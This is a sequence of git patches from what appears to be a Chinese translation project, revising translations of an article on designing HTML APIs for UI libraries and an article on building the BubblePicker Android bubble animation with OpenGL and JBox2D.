-**尽可能地遵从 HTML 的规定。**比如，你使用了一个属性来做布尔类型的设置，当该属性出现时无论其值如何都被视为 `true`，若不出现则被视为 `false`，不要期望可以用 `data-foo="true"` 或者 `data-foo="false"` 来代替。当然 ARIA 是这样做的，但是如果 ARIA 哪天突然死翘翘了，你也想那样吗？
-
-When the setting is a **boolean**, you could also use classes. Typically, their semantics are similar to boolean attributes: The presence of the class means `true`, and the absence means `false`. If you want the opposite, you can use a `no-` prefix (for example, `no-line-numbers`). Keep in mind that class names are used more than `data-*` attributes, so there is a greater possibility of collision with the user’s existing class names. You could consider prefixing your classes with a prefix like `foo-` to prevent that. Another danger with class names is that a future maintainer might notice that they are not used in the CSS and remove them.
-
-你也可以使用类进行**布尔值**设置。典型地，类的语法和布尔属性值类似：类出现的时候是 `true` 不出现的时候就是 `false`。如果你想反过来设置，那就用一个 `no-` 前缀（比如，`no-line-number`）。但是要记住，类名可不像属性一样只有 `data-*`，因此这种方式很可能会和用户现存的类名冲突，因此你可以考虑一下在类名中使用 `foo-` 这样的前缀来避免冲突。但也有可能在后期的维护中发现这些类并未被 CSS 使用所以误删，这又是另一个隐患。
+**尽可能地遵从 HTML 的惯例。**比如，你使用了一个属性来做布尔类型的设置，当该属性出现时无论其值如何都被视为 `true`，若不出现则被视为 `false`，不要期望可以用 `data-foo="true"` 或者 `data-foo="false"` 来代替。当然 ARIA 是这样做的，但是如果 ARIA 哪天突然死翘翘了，你也想那样吗？
 
-When you have a group of related boolean settings, using one space-separated attribute might be better than using many separate attributes or classes. For example, `<div data-permissions="read add edit delete save logout>"` is better than `<div data-read data-add data-edit data-delete data-save data-logout">`, and `<div class="read add edit delete save logout">` would likely cause a ton of collisions. You can then target individual ones via the `~=` attribute selector. For example, `element.matches("[data-permissions~=read]")` checks whether an element has the `read` permission.
+你也可以使用类进行**布尔值**设置。典型地，类的语法和布尔属性值类似：类存在的时候是 `true` 不出现的时候就是 `false`。如果你想反过来设置，那就用一个 `no-` 前缀（比如，`no-line-number`）。但是要记住，类名可不像属性一样只有 `data-*`，因此这种方式很可能会和用户现存的类名冲突，因此你可以考虑一下在类名中使用 `foo-` 这样的前缀来避免冲突。但也有可能在后期的维护中发现这些类并未被 CSS 使用所以误删，这又是另一个隐患。
 
 当你需要设置一组相关的布尔值时，使用空格区分会比使用多个分隔符的方式好很多。比如，`<div data-permissions="read add edit delete save logout">` 就比 `<div data-read data-add data-edit data-delete data-save data-logout">`，和 `<div class="read add edit delete save logout">` 好得多，因为后者可能会造成很多的冲突。你还可以使用 `~=` 属性选择器来定位单个元素，比如 `element.matches("[data-permissions~=read]")` 可以检查该元素是否有 `read` 权限。
 
-If the type of a setting is an **array or object**, then you can use a `data-*` attribute that links to another element. For example, look at how HTML5 does autocomplete: Because autocomplete requires a list of suggestions, you use an attribute to link to a `<datalist>` element containing these suggestions via its ID.
-
-如果设置内容的类型是**数组或者对象**，那么你就可以使用 `data-*` 属性来联系到另一个元素。比如， HTML5 中的自动完成：因为自动完成需要一个建议列表，你可以使用 `data-*` 属性并通过 ID 联系到包含建议内容的 `<datalist>` 元素。
-
-This is a point when following HTML conventions becomes painful: In HTML, linking to another element in an attribute is always done by referencing its ID (think of `<label for="…">`). However, this is rather limiting: It’s so much more convenient to allow selectors or even nesting if it makes sense. What you go with will largely depend on your use case. Just keep in mind that, while consistency is important, usability is our goal here.
-
-HTML 有一个规定很让人头痛：在 HTML 中，用属性联系到另一个元素通常是靠引用其 ID 实现的（试想一下 `<label for="...">`）。然而，这种方法相当受限制：如果能够允许使用选择器或者甚至允许嵌套将更为方便，其效果将会极大地依赖于你的使用情况。但要时刻牢记，虽然稳定性很重要，但是实用才是我们的目的。
+如果设置内容的类型是**数组或者对象**，那么你就可以使用 `data-*` 属性来关联到另一个元素。比如， HTML5 中的自动完成：因为自动完成需要一个建议列表，你可以使用 `data-*` 属性并通过 ID 联系到包含建议内容的 `<datalist>` 元素。
 
-**It’s OK if not every single setting is available via HTML.** Settings whose values are functions can stay in JavaScript and be considered “advanced customization.” Consider [Awesomplete](http://leaverou.github.io/awesomplete/#customization): All numerical, boolean, string and object settings are available as `data-*` attributes (`list`, `minChars`, `maxItems`, `autoFirst`). All function settings are only available in JavaScript (`filter`, `sort`, `item`, `replace`, `data`). If someone is able to write a JavaScript function to configure your library, then they can use the JavaScript API.
+HTML 有一个惯例很让人头痛：在 HTML 中，用属性联系到另一个元素通常是靠引用其 ID 实现的（试想一下 `<label for="...">`）。然而，这种方法相当受限制：如果能够允许使用选择器或者甚至允许嵌套将更为方便，其效果将会极大地依赖于你的使用情况。要记住，稳定性重要，但实用性更加重要。
 
-**即使有些设置不能通过 HTML 生效也没关系。**在 JavaScript 中以函数为设置值的部分被称作“高级自定义”。试想一下 [Awesomplete](http://leaverou.github.io/awesomplete/#customization)：所有数字、布尔值、字符串和对象都可以通过 `data-*` 属性（`list`、`minChars`、`maxItems`、`autoFirst`）设置，所有的函数设置只能通过 JavaScript 使用（`filter`、`sort`、`item`、`replace`、`data`），这样会写 JavaScript 函数来配置类库的人就可以使用 JavaScript API 了。
-
-Regular expressions (regex) are a bit of a gray area: Typically, only programmers know regular expressions (and even programmers have trouble with them!); so, at first glance there doesn’t seem to be any point in including settings with regex values in your HTML API. However, HTML5 did include such a setting (`<input pattern="regex">`), and I believe it was quite successful, because non-programmers can look up their use case in a [regex directory](http://www.html5pattern.com/)[16](#16) and copy and paste.
+**即使有些设置内容不能在 HTML 中指定也没关系。**在 JavaScript 中以函数为设置值的部分被称作“高级自定义”。试想一下 [Awesomplete](http://leaverou.github.io/awesomplete/#customization)：所有数字、布尔值、字符串和对象都可以通过 `data-*` 属性（`list`、`minChars`、`maxItems`、`autoFirst`）设置，所有的函数设置只能通过 JavaScript 使用（`filter`、`sort`、`item`、`replace`、`data`），这样会写 JavaScript 函数来配置类库的人就可以使用 JavaScript API 了。
 
 正则表达式（regex）处在灰色地带：典型的，只有程序员才知道正则表达式（甚至程序员在使用的时候也会有问题！）；那么，乍看之下，在 HTML API 中引入正则表达式类型的设置并没有意义。然而，HTML5 确实引入了这样的设置（`<input pattern="regex">`），并且我相信那很成功，因为非程序员能在[正则词典](http://www.html5pattern.com/)中找到他们的用例并复制粘贴。
 
-### Inheritance ###
-
 ###继承###
 
-If your UI library is going to be used once or twice on each page, then inheritance won’t matter much. However, if it could be applied to multiple elements, then configuring the same settings on each one of them via classes or attributes would be painful. Remember that **not everyone uses a build system**, especially non-developers. In these cases, it might be useful to define that settings can be inherited from ancestor elements, so that multiple instances can be mass-configured.
-
-如果你的 UI 库在每个页面只会调用一两次，继承将不会很重要。然而，如果要应用于多个元素，通过类或者属性给每个元素做相同的配置将会非常令人头痛。记住**并不是每个人都用了构造系统**，尤其是非程序员。在这些情况下，定义能够从祖先元素继承设置将会变得非常有用，那样多个实例就可以被批量设置了。
+如果你的 UI 库在每个页面只会调用一两次，继承将不会很重要。然而，如果要应用于多个元素，通过类或者属性给每个元素做相同的配置将会非常令人头痛。记住**并不是每个人都用了构建系统**，尤其是非程序员。在这些情况下，定义能够从祖先元素继承设置将会变得非常有用，那样多个实例就可以被批量设置了。
 
-Take [Prism](http://prismjs.com/), a popular syntax-highlighting library, used here on Smashing Magazine as well. The highlighting language is configured via a class of the form `language-xxx`. Yes, this goes against the guidelines we discussed in the previous section, but this was a conscious decision because the [HTML5 specification recommends this](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element) for specifying the language of a code snippet. On a page with multiple code snippets (think of how often a blog post about code uses inline `<code>` elements!), specifying the coding language on each `<code>` element would become extremely tedious. To mitigate this pain, Prism supports inheritance of these classes: If a `<code>` element does not have a `language-xxx` class of its own, then the one of its closest ancestor that does is used. This enables users to set the coding language globally (by putting the class on the `<body>` or `<html>` elements) or by section, and override it only on elements or sections with a different language.
-
-比如 [Prism](http://prismjs.com/)，时下流行的语法高亮类库，同时也使用了 Smashing Magazine。高亮语句是通过 `languate-xxx` 形式的类来配置的。是的，这违反了我们在前文中谈过的规则，但这只是一种主观决策，因为 [HTML5 手册中建议如此](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)。在有许多代码段的页面上（想象一下，在博客文章中使用内联 `<code>` 元素的频率！），在每个 `<code>` 元素中指定代码语句将会非常烦人。为了缓解这种痛苦，Prism 支持继承这些类：如果一个 `<code>` 元素自己没有 `language-xxx` 类，那么将会使用其最近的祖先元素的 `language-xxx` 类。这使得用户可以设置全局的代码语句（通过在 `<body>` 或者 `<html>` 元素上设置类）或者设置区块的代码语句，并且可以在拥有不同语句的元素或者区块上重写设置。
-
-Now that [CSS variables](https://www.w3.org/TR/css-variables/) are [supported by every browser](http://caniuse.com/#feat=css-variables), they are a good candidate for such settings: They are inherited by default and can be set inline via the `style` attribute, via CSS or via JavaScript. In your code, you get them via `getComputedStyle(element).getPropertyValue("--variablename")`. Besides browser support, their main downside is that developers are not yet used to them, but that is changing. Also, you cannot monitor changes to them via `MutationObserver`, like you can for elements and attributes.
+还拿 Smashing Magazine 中使用的时下流行的语法高亮类库 —— [Prism](http://prismjs.com/) 来举例。高亮语句是通过 `language-xxx` 形式的类来配置的。是的，这违反了我们在前文中谈过的规则，但这只是一种主观决策，因为 [HTML5 手册中建议如此](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)。在有许多代码段的页面上（想象一下，在博客文章中使用内联 `<code>` 元素的频率！），在每个 `<code>` 元素中指定代码语句将会非常烦人。为了缓解这种痛苦，Prism 支持继承这些类：如果一个 `<code>` 元素自己没有 `language-xxx` 类，那么将会使用其最近的祖先元素的 `language-xxx` 类。这使得用户可以设置全局的代码语句（通过在 `<body>` 或者 `<html>` 元素上设置类）或者设置区块的代码语句，并且可以在拥有不同语句的元素或者区块上重写设置。
 
 现在 [CSS 变量](https://www.w3.org/TR/css-variables/)已经被[所有的浏览器支持](http://caniuse.com/#feat=css-variables)，它们可以用于以下设置：他们默认可以被继承，并且可以以内联的方式通过 `style` 属性设置，也可以通过 CSS 或者 JavaScript 设置。在代码中，你可以通过 `getComputedStyle(element).getPropertyValue("--variablename")` 获取它们。除了浏览器支持，其主要的劣势就是开发者们还没习惯使用它们，但是那已经发生改变了。并且，你不能像监视元素和属性的一般通过 `MutationObserver` 来监视其改变。
 
-### Global Settings ###
-
 ###全局设置###
 
-Most UI libraries have two groups of settings: settings that customize how each instance of the widget behaves, and global settings that customize **how the library behaves**. So far, we have mainly discussed the former, so you might be wondering what is a good place for these global settings.
+大多数 UI 类库都有两组设置：定义每个组件表现形式的设置和定义**整个类库表现形式**的全局设置。目前为止，我们主要讨论了前者，你现在可能在好奇全局设置该在设置在哪里。
 
-大多数 UI 类库都有两组设置：定义每个组件表现形式的设置和定义**整个类库表现形式**的全局设置。目前为止，我们主要讨论了前者，你现在可能在好奇全局设置有什么好用的地方。
-
-One candidate is the `<script>` element that includes your library. You can get this via [`document.currentScript`](http://www.2ality.com/2014/05/current-script.html), and it has very good [browser support](http://caniuse.com/#feat=document-currentscript). The advantage of this is that it’s unambiguous what these settings are for, so their names can be shorter (for example, `data-filter`, instead of `data-stretchy-filter`).
-
-有一个好处就是 `<script>` 元素可以被引入类库。你可以通过 [`document.currentScript`](http://www.2ality.com/2014/05/current-script.html) 获取该元素，并且这有着非常好的[浏览器支持](http://caniuse.com/#feat=document-currentscript)。好处就是，这对于设置的作用域非常清楚，因此它们的名字可以起的更短（比如 `data-filter` 而不是 `data-stretchy-filter`）。
-
-However, the `<script>` element should not be the only place you pick up these settings from, because some users may be using your library in a CMS that does not allow them to customize `<script>` elements. You could also look for the setting on the `<html>` and `<body>` elements or even anywhere, as long as you have a clearly stated policy about which value wins when there are duplicates. (The first one? The last one? Something else?)
+进行全局设置的一个好地方就引入类库的 `<script>` 元素。你可以通过 [`document.currentScript`](http://www.2ality.com/2014/05/current-script.html) 获取该元素，这有着非常好的[浏览器支持](http://caniuse.com/#feat=document-currentscript)。好处就是，这对于设置的作用域非常清楚，因此它们的名字可以起的更短（比如 `data-filter` 而不是 `data-stretchy-filter`）。
 
 然而，你不能只在 `<script>` 元素中进行设置，因为一些用户可能会在 CMS 中使用你的类库，而 CMS 中不允许用户自定义 `<script>` 元素。你也可以在 `<html>` 和 `<body>` 元素或者甚至任何地方设置，只要你清楚地声明了属性值重复的时候哪个会生效。（第一个？最后一个？还是其他的？）
 
-### Documentation ###
-
 ###文档###
 
-So, you’ve taken care to design a nice declarative API for your library. Well done! However, if all of your documentation is written as if the user understands JavaScript, few will be able to use it. I remember seeing a cool library for toggling the display of elements based on the URL, via HTML attributes on the elements to be toggled. However, its nice HTML API could not be used by the people it targeted because the entire documentation was littered with JavaScript references. The very first example started with, “This is equivalent to `location.href.match(/foo/)`.” What chance does a non-programmer have to understand this?
-
 那么，你已经掌握了如何在类库中设置一个漂亮的声明性的 API。棒极了！然而，如果你所有的文档都写得只有会 JavaScript 的用户才看得懂，那么就只有很少人能使用了。我记得曾经看过一个很酷的类库，基于 URL 并通过切换元素的 HTML 属性来切换元素的表现形式。然而，这漂亮的 HTML API 并不能被其目标人群所使用，因为整篇文档中都充满了 JavaScript 引用。最开始的例子是这样开始的“这和 `location.href.match(/foo/)` 等价。”非程序员哪能看懂这个呢？
 
-Also, remember that many of these people do not speak any programming language, not just JavaScript. Do not talk about models, views, controllers or other software engineering concepts in text that you expect them to read and understand. All you will achieve is confusing them and turning them away.
-
-同时要记得许多人并不会任何编程语言，不光是 JavaScript。你期望用户能够读懂并理解的文中的模型、视图、控制器或者其他软件工程观念，结果无非是让他们摸不着头难并且放弃。
-
-Of course, you should document the JavaScript parts of your API as well. You could do that in an “Advanced usage” section. However, if you start your documentation with references to JavaScript objects and functions or software engineering concepts, then you’re essentially telling non-programmers that this library is not for them, thereby excluding a large portion of your potential users. Sadly, most documentation for libraries with HTML APIs suffers from these issues, because HTML APIs are often seen as a shortcut for programmers, not as a way for non-programmers to use these libraries. Hopefully, this will change in the future.
+同时要记得许多人并不会任何编程语言，不光是 JavaScript。你期望用户能够读懂并理解的文中的模型、视图、控制器或者其他软件工程观念，结果无非是让他们摸不着头脑并且放弃。
 
 当然，你应该在文档中写 API 里 JavaScript 的内容，你可以写在“高级使用”部分。然而，如果你在文档一开头就引用 JavaScript 对象和函数或者软件工程的观念，那么你实质上就是在告诉非程序员这个类库不是给他们用的，因此你就排除了一大批潜在用户。不幸的是，大部分的 HTML API 类库文档都受这些问题困扰着，因为 HTML API 经常被视为是程序员的捷径，而并不是给非程序员使用的。庆幸的是，这种状况在未来可以有改变。
 
-### What About Web Components? ###
-
 ###那么 Web 组件呢？###
 
-In the near future, the Web Components quartet of specifications will revolutionize HTML APIs. The `<template>` element will enable authors to provide scripts with partial inert markup. Custom elements will enable much more elegant `init` markup that resembles native HTML. HTML imports will enable authors to include just one file, instead of three style sheets, five scripts and ten templates (if Mozilla gets its act together and [stops thinking that ES6 modules are a competing technology](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)). The Shadow DOM will enable your library to have complex DOM structures that are properly encapsulated and that do not interfere with the user’s own markup.
-
-在不远的未来，Web 组件百分之百将会彻底改变 HTML API。`<template>` 元素将会允许作者提供惰性加载的脚本。自定义元素将能运用更多的 `init` 标记来组建原生的 HTML。引入 HTML 也将使得作者能够仅引入一个文件来替代三个样式表、五个脚本和十个模板（如果浏览器能够同时获取并且[不再认为 ES6 模块是一种竞争技术](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)）。Shadow DOM 使得类库可以将复杂的 DOM 结构适当压缩并且不会影响用户自己的标记。
-
-However, `<template>` aside, browser support for the other three is [currently limited](http://caniuse.com/#search=web%20components). So, they require large polyfills, which makes them less attractive for library use. However, it’s something to keep on your radar for the near future.
+在不远的未来，Web 组件百分之百将会彻底改变 HTML API。`<template>` 元素将会允许作者提供惰性加载的脚本。自定义元素将使得用户可以像原生的 HTML 一样使用更多优雅的 `init` 标记。引入 HTML 也将使得作者能够仅引入一个文件来替代三个样式表、五个脚本和十个模板（如果浏览器能够同时获取并且[不再认为 ES6 模块是一种竞争技术](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)）。Shadow DOM 使得类库可以将复杂的 DOM 结构适当压缩并且不会影响用户自己的标记。
 
 然而除了 `<template>`，浏览器对其他三个特征的支持[目前受限](http://caniuse.com/#search=web%20components)。因此他们需要更高的聚合度，以此来减少对类库的影响。然而，这将会是你在未来一段时间里需要不断关注的东西。
 
-### MarkApp: A List Of Libraries With HTML APIs
-
 ### MarkApp：一个 HTML API 类库的列表
 
-If you’ve followed the advice in this article, then congratulations on making the web a better, more inclusive space to be creative in! I try to maintain a list of all libraries that have HTML APIs on [MarkApp](http://markapp.io/). Send a pull request and add yours, too!
-
-如果你已经听取了这篇文章中的建议，那么恭喜你已经能够把网站做得更好，更有内涵和更有创造性了！我在 [MarkApp](http://markapp.io/) 上维护着一些使用 HTML API 类库的列表。请发 Pull Request 给我来添加你自己的内容！
+如果你已经听取了这篇文章中的建议，那么恭喜你已经能够把网站做得更好，更有包容性和更有创造性了！我在 [MarkApp](http://markapp.io/) 上维护着一些使用 HTML API 类库的列表。请发 Pull Request 给我来添加你自己的内容！
\ No newline at end of file

From b225856921067a1d0fd61c2caf7c9cf9b9c201a2 Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Tue, 9 May 2017 22:12:45 +0800
Subject: [PATCH 391/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...icker-a-colourful-animation-for-android.md | 39 ++++++++++++++++++-
 1 file changed, 38 insertions(+), 1 deletion(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 863e3970fd2..08133529c89 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -180,10 +180,12 @@ smoothstep 方法可以解决这个问题。基于纹理与背景之间过度的
 
 Every circle in this animation has two states – normal and selected. In the normal state, the texture of a circle contains text and color; in the selected state, the texture also contains an image. So for every circle we needed to create two different textures. 
 
-动画中的每个圆都有两个状态 - 正常状态和选中状态。在正常状态中
+动画中的每个圆都有两个状态 - 正常状态和选中状态。在正常状态中，圆中的纹理包含了文字和颜色；在选中的状态，纹理则还会包含了一个图片。所以，对每个圆我们都应该创建两个不同的纹理。
 
 To create the texture we use a Bitmap instance where we draw all the elements and bind the texture:
 
+为了创建纹理，我们使用一个 Bitmap 的实例，在实例里我们画出所有的元素并绑定纹理：
+
 ```
     fun bindTextures(textureIds: IntArray, index: Int){
             texture = bindTexture(textureIds, index * 2, false)
@@ -226,10 +228,16 @@ To create the texture we use a Bitmap instance where we draw all the elements an
 
 After doing this, we pass the texture unit to the `u_Text` variable. To get the actual color of a fragment we use the `texture2D()` method, which receives the texture unit and the position of the fragment respective to its vertices. 
 
+做完这些之后，我们将这个纹理传递给 u_Text 变量。我们通过 texture2D() 方法来获取一个片段的真实颜色，我们还能获得纹理单元和片段相对于其顶点的位置。
+
 ### **5. Using JBox2D to make the bubbles move** ###
 
+### **5. 使用 JBox2D 让气泡移动** ###
+
 The animation is pretty simple in terms of the physics. The main object is a World instance, and all the bodies must be created using this world: 
 
+从物理的角度，这个动画非常简单。主对象是一个 World 实例，所有的 body 都需要在这个 World 里创建：
+
 ```
     classCircleBody(world: World, varposition: Vec2, varradius: Float, varincreasedRadius: Float) {
     
@@ -267,10 +275,16 @@ The animation is pretty simple in terms of the physics. The main object is a Wor
 
 As we can see, it’s easy to create the body: we simply need to specify the body type (e.g dynamic, static, kinematic), and its position, radius, shape, density, and fixture. 
 
+正如我们所见，body 容易创建：我们需要简单的制定 body 类型（如：dynamic, static, kinematic），position，radius，shape，density 和 fixture 属性。
+
 Every time the surface is being drawn, it’s necessary to call the `step()` method of the World instance to move all the bodies. After that we can draw all shapes at their new positions. 
 
+当这个面被画出来，我们需要调用 World 的 step() 方法来移动所有的 body。然后，我们就可以在新的位置画出所有的形状了。
+
 The issue we faced is that `JBox2D` doesn’t support orbital gravity. As a result, we couldn’t move the circles to the center of the screen. So we had to implement this feature ourselves:
 
+我们遇到一个问题，JBox2D 不能支持轨道重力。这样，我们就不能将圆移动到屏幕中间了。所以我们只能自己实现这个特性：
+
 ```
     private val currentGravity: Float
             get()= if (touch) increasedGravity else gravity
@@ -291,10 +305,16 @@ The issue we faced is that `JBox2D` doesn’t support orbital gravity. As a resu
 
 Every time the world moves, we calculate the appropriate force and apply it to each body, making it look like the circles are affected by a gravitation force. 
 
+每当 World 移动时，我们计算一个合适的力度作用于每个 body，使得看起来像是受到了重力的影响。
+
 ### **6. Detecting user touch in GlSurfaceView** ###
 
+### **6. 在 GlSurfaceView 中检测用户触碰** ###
+
 `GLSurfaceView`, like any other Android view, can react to a user’s touch:
 
+GLSurfaceView 和其他的 Android view 一样可以对用户触碰反应：
+
 ```
     override fun onTouchEvent(event: MotionEvent): Boolean {
             when (event.action) {
@@ -330,6 +350,8 @@ Every time the world moves, we calculate the appropriate force and apply it to e
 
 The `GLSurfaceView` intercepts all touches and its renderer handles all of them:
 
+GLSurfaceView 拦截所有的触摸事件，渲染器处理他们：
+
 ```
     //Rendererfun swipe(x: Float, y: Float)= Engine.swipe(x.convert(glView.width, scaleX),
                 y.convert(glView.height, scaleY))
@@ -351,10 +373,16 @@ The `GLSurfaceView` intercepts all touches and its renderer handles all of them:
 
 When a user swipes the screen, we increase the gravity and change its center, so for the user it looks like they are controlling the movements of the bubbles. When the user stops swiping, we return the bubbles to their initial state. 
 
+当用户滑动屏幕，我们增加重力并改变中心，在用户看来就像是控制了气泡的移动。当用户停止了滑动，我们将气泡恢复到初始状态。
+
 ### **7. Finding a bubble by the coordinates of a user’s touches** ###
 
+### **7. 通过用户触碰的坐标找到气泡** ###
+
 When a user clicks on a circle, we receive the touch position on the screen in the `onTouchEvent() `method. But we also need to find the clicked circle in OpenGL’s coordinate system. By default, the center of the `GLSurfaceView` has the position [0, 0], and the x and y values lie between -1 and 1. So we also have to consider the ratio of the screen:
 
+当用户点击了一个圆，我们通过 onTouchEvent() 方法接收到了触碰点在屏幕上的坐标。但是，我们还需要找到被点击的圆在 OpenGL 坐标体系中的位置。默认情况下，GLSerfaceView 中心的坐标是 [0, 0]，x 和 y 变量在 -1 到 1 之间。所以，我们还需要考虑到屏幕的比例：
+
 ```
     private fun getItem(position: Vec2)= position.let {
             val x = it.x.convert(glView.width, scaleX)
@@ -365,14 +393,23 @@ When a user clicks on a circle, we receive the touch position on the screen in t
 
 When we find the selected circle, we change its radius, density, and texture.
 
+当我们找到了选中的圆就改变它的半径、密度和纹理。
+
 This is the first version of our Bubble Picker, and we surely plan to develop it further. We'd like to give other developers the possibility to customize the physical behavior of bubbles and specify urls to add images to the animation. We also want to add some new features such as the ability to remove bubbles.
 
+这是我们第一版 Bubble Picker，而且还将进一步完善。
+
 Don’t hesitate to send us your experiments, we are curious to see how you use our Bubble Picker. And do let us know if you have any questions or suggestion regarding the animation.
 
+请将你们的实验发给我们，让我们看到你是如何使用 Bubble Picker的。如果对动画有任何问题或建议，请告诉我们。
+
 We are going to publish more awesome things soon. Stay tuned!
 
+我们会尽快出版更多干活。 敬请关注！
+
 Check out our [BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) and [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component).
 
+请检出[BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) 和 [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component)。
 
 ---
 

From a96b20698c51e9c06eefdb1bc30f636f8a195bf1 Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Tue, 9 May 2017 22:18:59 +0800
Subject: [PATCH 392/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...-created-bubblepicker-a-colourful-animation-for-android.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 08133529c89..1103c2a8aa6 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -56,7 +56,7 @@ It became clear to us that rendering such a fast animation on Canvas wouldn’t
 
 We needed to make our circles move naturally, just as gas bubbles do in a fizzy drink. There are plenty of physics engines available for Android, but we had specific requirements that made it significantly more difficult to make a choice: the engine needed to be lightweight and easy to embed in the Android library. Most engines are developed for games and require you to adapt the project structure to them. After some research we found JBox2D (a Java port of the Box2D engine written in C++); and since our animation isn’t supposed to be used with a great number of physical bodies (in other words it’s not designed for 200 or more objects) we could get away with using a Java port instead of the original engine.
 
-我们需要让圆更加的自然，就像是汽水中的气泡。有很多物理引擎可用于 Android，但是我们有更特别的需求使得很难选择：这个引擎必须轻量而且方便嵌入 Android 库中。大多数引擎都是为游戏开发的，你必须使工程机构适应它们。经过一些研究，我们发现 JBox2D (一个使用 C++ 开发的、 Java 端口的 Box2D 引擎)；因为我们的动画并不支持很多数量的物理体（换句话说，它不是为了200+的对象设计的），我们可以使用 Java 端口而不是原生引擎。
+我们需要让圆更加的自然，就像是汽水中的气泡。有很多物理引擎可用于 Android，但是我们有更特别的需求使得很难选择：这个引擎必须轻量而且方便嵌入 Android 库中。大多数引擎都是为游戏开发的，你必须使工程机构适应它们。经过一些研究，我们发现 JBox2D (一个使用 C++ 开发的、 Java 端口的 Box2D 引擎)；因为我们的动画并不支持很多数量的 body（换句话说，它不是为了200+的对象设计的），我们可以使用 Java 端口而不是原生引擎。
 
 Also, later in this article we’ll explain our choice of programming language (Kotlin) and talk about the advantages of this new language.To find out more about the difference between Java and Kotlin you can read our review in [our previous article](https://yalantis.com/blog/kotlin-vs-java-syntax/).
 
@@ -68,7 +68,7 @@ Also, later in this article we’ll explain our choice of programming language (
 
 To begin with, it’s important to understand that the building block in OpenGL is a triangle since it’s the simplest shape that can approximate other shapes. Any shape that you create in OpenGL will consist of one or more triangles. To implement our animation we used two combined triangles for every body, so it looks like a square, where I can draw the circle.
 
-在开始的时候，我们需要先理解 OpenGL 中的构建快是三角形，因为三角形是能够模拟成其他形状中最简单的形状。你在 OpenGL 中创建出的任何形状，都包含了一个或多个三角形。为了实现动画，我们为每个动画体使用了两个组合三角形，所以看起来像个正方形，我们可以在里面画圆。
+在开始的时候，我们需要先理解 OpenGL 中的构建快是三角形，因为三角形是能够模拟成其他形状中最简单的形状。你在 OpenGL 中创建出的任何形状，都包含了一个或多个三角形。为了实现动画，我们为每个 body 使用了两个组合三角形，所以看起来像个正方形，我们可以在里面画圆。
 
 To render a shape you need to write at least two shaders – a vertex shader and a fragment shader. The difference between these two is evident by their names. A vertex shader is executed for each vertex of each triangle, while a fragment shader is executed for every pixel-sized part of the triangles. 
 

From 60bac6645eabdc790907712a59e00554d2803bc3 Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Tue, 9 May 2017 22:23:30 +0800
Subject: [PATCH 393/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...icker-a-colourful-animation-for-android.md | 98 -------------------
 1 file changed, 98 deletions(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 1103c2a8aa6..17a5d9e2798 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -6,24 +6,14 @@
 
 # 如何创建 BubblePicker – Android 多彩菜单动画 #
 
-We’re used to mobile applications supporting various types of interactions such as sliding gestures to select, or to drag and drop. What we tend to forget is that there is a growing trend toward unifying the user experience across platforms. 
-
 我们已经习惯了移动应用丰富的交互方式，如滑动手势去选择、拖拽。但是我们没有察觉到，统一用户的跨平台体验是一个正在发生的趋势。
 
-In the early days, iOS and Android each had their own unique feel, but recently they have been growing closer together in terms of the way applications are designed and interactions happen. With [bottom navigation](https://material.io/guidelines/components/bottom-navigation.html#) and split screen features now available in Android Nougat, Android has a lot in common with iOS these days.
-
 早期时候，iOS 和 Android 都有其独特的体验，但是在近期，这两个平台上的应用体验和交互在逐渐的靠拢。[底部导航](https://material.io/guidelines/components/bottom-navigation.html#)和分屏的特性已经成为Android Nougat版本的特性，Android 已经和 iOS 已经有了很多相同的地方了。
 
-For designers, this coalescing of design languages means that we can often adjust popular features that were once associated with one platform for apps designed for the other.
-
 对于设计者而言，设计语言的融合意味着在一个平台上流行的特性可以适配到另一个平台。
 
-Recently, to keep up with the trend of merging design styles across platforms, we worked on an Android animation that is inspired by the popular bubble animation in Apple music. Our task was to develop an interface that was easy enough for novice users but that still felt interesting for more experienced users.
-
 最近，为了跟上跨平台风格的步伐，我们使用 Android 动画实现了苹果音乐上的气泡动画。我们设计了一个接口，使得初学者也可以方便的使用，而且也让有经验的开发者觉得有趣。
 
-Our vibrant [BubblePicker](https://github.com/igalata/Bubble-Picker) is a great way to make an app more content-focused, original, and fun. Google is rolling out their “Material Design” language across all their products, but nevertheless, we decided to experiment with bold colors and gradients this time around to add more depth and volume to the image. Gradients might be the major visual in the display and might attract the attention of new visitors.
-
